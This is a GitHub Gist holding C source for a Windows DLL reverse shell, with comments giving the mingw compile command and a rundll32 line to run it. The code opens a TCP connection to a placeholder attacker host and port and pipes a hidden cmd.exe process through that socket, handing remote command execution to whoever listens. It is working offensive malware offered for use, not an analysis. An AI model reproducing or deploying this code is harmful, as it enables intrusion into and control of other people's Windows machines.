Last active
May 14, 2024 12:21
-
-
Save h4rithd/5678cb3e669e97d33fa4b3dce725ec38 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <winsock2.h> | |
#include <windows.h> | |
#include <io.h> | |
#include <process.h> | |
#include <sys/types.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
/* ================================================== */ | |
/* Copied from https://github.com/izenynn */ | |
/* All credits go to the original autho */ | |
/* Change the parameters of the RunMe() function. */ | |
/* ================================================== */ | |
// x86_64-w64-mingw32-gcc RevShellDll.c -shared -lws2_32 -o RunMe.dll | |
// rundll32.exe RunMe.dll,RunMe | |
static int R3vSh3ll(char *CLIENT_IP, int CLIENT_PORT) { | |
WSADATA wsaData; | |
if (WSAStartup(MAKEWORD(2 ,2), &wsaData) != 0) { | |
write(2, "[ERROR] WSASturtup failed.\n", 27); | |
return (1); | |
} | |
int port = CLIENT_PORT; | |
struct sockaddr_in sa; | |
SOCKET sockt = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); | |
sa.sin_family = AF_INET; | |
sa.sin_port = htons(port); | |
sa.sin_addr.s_addr = inet_addr(CLIENT_IP); | |
if (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) { | |
write(2, "[ERROR] connect failed.\n", 24); | |
return (1); | |
} | |
STARTUPINFO sinfo; | |
memset(&sinfo, 0, sizeof(sinfo)); | |
sinfo.cb = sizeof(sinfo); | |
sinfo.dwFlags = (STARTF_USESTDHANDLES); | |
sinfo.hStdInput = (HANDLE)sockt; | |
sinfo.hStdOutput = (HANDLE)sockt; | |
sinfo.hStdError = (HANDLE)sockt; | |
PROCESS_INFORMATION pinfo; | |
CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo); | |
return (0); | |
} | |
void RunMe(){ | |
R3vSh3ll("<HostIP>", <PORT>); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment